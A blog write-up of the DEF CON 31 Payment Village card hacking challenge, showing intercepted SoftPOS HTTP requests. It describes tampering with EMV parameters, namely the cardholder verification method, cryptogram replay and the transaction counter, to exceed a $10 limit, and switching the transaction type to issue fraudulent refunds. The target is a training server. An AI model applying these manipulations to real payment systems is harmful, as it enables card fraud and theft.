Alt text Figure 1: A very pretty and shiny challenge coin received for solving the CTF, and 2/3 for the Card Hacking Challenge. My first ever!

This year at DEF CON 31, there was the Payment Village which I decided to visit. Now, I’m not sure about you the reader, but I have never worked with payment systems prior to this, so this writeup/blog will be written from such a point of view.

Before we get into the rest of this writeup, I’d like to thank: Leigh-Anne Galloway, Ali, and Tim for creating a great challenge, and a collaborative environment to learn all things payment related.

There were 3 events at the village:

  1. CTF: Designed as an introduction to the world of payment systems, specifically how information on credit/debit cards are stored. This was a great introduction, and would highly reccomend you attempt it and play along at home as best as you can. I’ll post my answers for this at some point, and if you’d like some tips/hints feel free to shoot me a message.
  2. Card Hacking Challenge: There were three goals to this challenge. We were given a SoftPOS (Point of Sale), and a Payment Village card to:
    • Steal $100,000 from the card
    • Commit other fraudulent operations
    • Steal fifteen cards from the SoftPOS. Provide PAN and Expiry Date for each card.
  3. Easter Egg Challenge: Fun challenges hidden around the village.

Setup

There were two POS terminals at the village, both running Android, and the SoftPOS.apk. We had the ability to download this .apk and run it on our personal devices.

Figure 2: The default screen for the SoftPOS application.

Figure 3: The screen for a successful transaction.

So this .apk was clearly calling out to some web application to complete the transaction. As such I decided to intercept the traffic by setting a proxy on my personal phone and listening on all interfaces my laptop whilst being on the same WiFi network - in this case the Defcon Open network.

Challenge 1 - Steal $100,000 from the card

What does a normal transaction request and response look like?

Request

GET /auth_host.php?amount=100&trans_type=EMV&9f15=5000&9f34=1f0302&9f36=0011&9f26=04EFACD2DE8EE561&82=0040&5a=1016434962031200&9f37=F0DC41DC&5f2a=0840&9a=230819&9f02=00000000100&type=purchase HTTP/1.1
User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 5 Build/TQ3A.230805.001)
Host: www.paymentvillageprocessing.com
Connection: close
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 19 Aug 2023 10:19:21 GMT
Server: Apache/2.4.54 (Ubuntu)
Set-Cookie: PHPSESSID=vgcfimivdgdaq3mads581la4m1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 36
Connection: close
Content-Type: text/html; charset=UTF-8

Card 1200 <br>
 Auth Success.<br>
Receipt No.765421<br>
  $1.00<br>
AC: 04EFACD2DE8EE561

At first this looked like gibberish to me, however upon reading the EMV parameter documentation we can break the request down.

EMV Parameters

amount=100 Amount we are requesting for the purchase 
trans_type=EMV
9f36=0007 Transaction Number, increments by 1 every purchase
9f15=5000 Merchant Category Code
9f34=1f0302 Cardholder Verification Method (CVM)
9f26=AAAC01AC98B030D5 Application Cryptogram
5a=1016434962031200 Application Primary Account Number (PAN), the card number
9f37 = Unpredictable Number
5f2a = Transaction Currency Code	
9a=230819 Transaction Date
9f02=0000000001 Authorised Amount
type = purchase The type of transaction being made
AC = Auth Code, need to replace every time 

Now that we know what the various tags are, we can go ahead on our journey. From reading the previous writeup for last years challenge I tried to change the Authorised amount, and have it differ from the Amount to see if I could make a larger transaction (as we’re currently limited to $10) however doing so gave me the following:

HTTP/1.1 200 OK
Date: Sat, 19 Aug 2023 10:23:22 GMT
Server: Apache/2.4.54 (Ubuntu)
Set-Cookie: PHPSESSID=b4825gi6vdm4p4b73cnca2glh4; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 142
Connection: close
Content-Type: text/html; charset=UTF-8

We become safer than Visa or MasterCard! We do not allow random merchants to modify the final amount field from the amount, signed by the chip

Well, I should have known better! I spent the next little white aimlessly editing various parameters to no avail.

The Problem

I returned to the SoftPOS application, and attempted to make a charge for $100 and was presented with the following error:

Alt text

This gave me the clue I needed, the error tells us that we can’t create purchases over $10 as the PIN is not support. What if we were able to make the POS believe that we do have a PIN, and set that PIN ourselves? The relevant parameter for this is 9f34 which is the Cardholder Verification Method (CVM). There are various CVMs, you can read more about them here, and the whitepaper First Contact: New vulnerabilities in Contactless Payments.

Looking into this, we can see the current value to be 1f0302, which is “No CVM required”. This makes sense as PIN is currently not supported on the application and as such we can’t go above $10. However if we were to modify it to be 040302 which results in a Enciphered PIN verification performed by ICC (Integrated Circuit Card) which means the chip on the card itself will perform the PIN verification and we are now able to bypass the initial $10 limit.

Switching the CVM and sending a purchase for $10,000 gives us:

HTTP/1.1 200 OK
Date: Sat, 19 Aug 2023 10:37:52 GMT
Server: Apache/2.4.54 (Ubuntu)
Set-Cookie: PHPSESSID=ejmua1mlkcu95bb03qg0jqiagg; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 79
Connection: close
Content-Type: text/html; charset=UTF-8

Card 1200 <br>
 Auth Failed!<br>
 Data is recorded for monitoring purposes<br>
 AC: 82E3D3E00C9841A0

Got it!

Oh. Well that’s not quite what I was hoping for. Doing some further reading into this lead me to understand what the purpose of the AC (Application Cryptogram) was. Basically this value along with the Unpredictable Number (9f37) stops re-play attacks as they change with every request. Generally speaking I dont believe the server would return the AC (or maybe they do), but for the purposes of this challenge the server did seem to be returning an AC value, so we were able to use that to update our requests and send it back again:

HTTP/1.1 200 OK
Date: Sat, 19 Aug 2023 10:37:52 GMT
Server: Apache/2.4.54 (Ubuntu)
Set-Cookie: PHPSESSID=ejmua1mlkcu95bb03qg0jqiagg; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 79
Connection: close
Content-Type: text/html; charset=UTF-8

Card 1200 <br>
 Auth Success.<br>
Receipt No.<br>
$ 1000.00<br>
 AC: 82E3D3E00C9841A0
<br>
<br>
<br>

There we go. That’s what we were looking for! So now we can make a transaction above the measly $10 however making transactions of $1000 to retrieve $100,000 would take considerable time.

As such we up the value to $10,000, till the response received is a failed transaction. At this point we know we have hit the $10,000 mark, and make transactions of $5000, once that too fails, we lower the transaction amount and so on and so forth till we have $1 and that too fails. Which ensures that we have indeed stolen $100,000.

Note with the above requests, the Application Cryptogram (AC) (9f26) will need to be modified, and the Application Transaction Counter (ATC) (9f36) will need to be incremented with each new request. This process could be made a lot easier by writing a BurpSuite macro but ya boi ain’t smart enough for that!

Challenge 2 - Commit other fraudulent operations

As I mentioned during challenge 1 I had aimlessly played around with various parameters. During this I had figured out that we could change the type parameter from purchase to refund. Doing so lead to:

GET /auth_host.php?amount=1000&trans_type=EMV&9f15=5000&9f34=040302&9f36=0041&9f26=04EFACD2DE8EE561&82=0040&5a=1016434962031200&9f37=F0DC41DC&5f2a=0840&9a=230819&9f02=000000001000&type=refund HTTP/1.1
User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 5 Build/TQ3A.230805.001)
Host: www.paymentvillageprocessing.com
Connection: close
Accept-Encoding: gzip, deflate

HTTP/1.1 200 OK
Date: Sat, 19 Aug 2023 11:01:09 GMT
Server: Apache/2.4.54 (Ubuntu)
Set-Cookie: PHPSESSID=511ihvl7mo26f3sifbgusvrt1n; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 36
Connection: close
Content-Type: text/html; charset=UTF-8

Refund complete

Challenge 3 - steal fifteen cards from the SoftPOS.

I didn’t end up solving this challenge, however you can read about how a fellow DEF CON attendee did so over on their blog.

Although I didn’t solve it, during the challenge I did come across this error on the host. Alt text

Wrapping up

Overall, amazing experience. Being able to walk out knowing so much in a relative short period of time is a testament to the way the challenges and CTF were built by the folks over at the Payment Village. So once again, thank you to them for this opportunity. I’ll be back next year for sure! Also a quick shoutout to Jankhfor joining me on the second day - having someone to be able to bounce your ideas off of is super helpful! You can read their take on this challenge here